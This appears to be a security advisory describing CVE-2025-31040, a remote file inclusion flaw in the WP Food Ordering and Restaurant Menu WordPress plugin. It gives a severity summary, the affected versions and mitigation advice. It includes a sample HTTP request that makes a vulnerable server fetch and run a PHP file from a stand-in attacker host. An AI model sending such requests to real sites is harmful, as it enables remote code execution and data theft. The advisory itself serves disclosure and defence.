CVE-2025-31040: Critical PHP Remote File Inclusion Vulnerability in WP Food Ordering and Restaurant Menu Plugin

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a potentially severe vulnerability, dubbed as CVE-2025-31040. This vulnerability affects the WP Food ordering and Restaurant Menu plugin, widely used in various websites for online food ordering and menu display functionalities. This vulnerability is significant because it opens the door for unauthenticated attackers to perform a PHP Remote File Inclusion (RFI), potentially leading to a system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31040
Severity: Critical, CVSS score: 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

WP Food Ordering and Restaurant Menu | n/a – 1.1

How the Exploit Works

The WP Food ordering and Restaurant Menu plugin has an improper control mechanism for the filename in the Include/Require statements in its PHP program. This vulnerability can be exploited by an attacker to include a remote file from an external source. When this file is included, it gets executed in the context of the server-side application. If the included file contains malicious code, it could lead to arbitrary code execution, potentially compromising the system or leading to data leakage.

Conceptual Example Code

To exploit this vulnerability, an attacker might send an HTTP request similar to the following:

GET /index.php?menu_include=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this request, the attacker attempts to include a malicious PHP file (`malicious.php`) hosted on their server (`attacker.com`). If the system is vulnerable, the server will fetch and execute the malicious file, potentially leading to a system compromise or data leakage.

Prevention and Mitigation Strategies

To mitigate the risk posed by this vulnerability, users are advised to apply vendor patches as soon as they become available. In the absence of a patch, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activities. However, these measures do not eliminate the vulnerability but instead provide an additional layer of security while a more permanent solution is sought.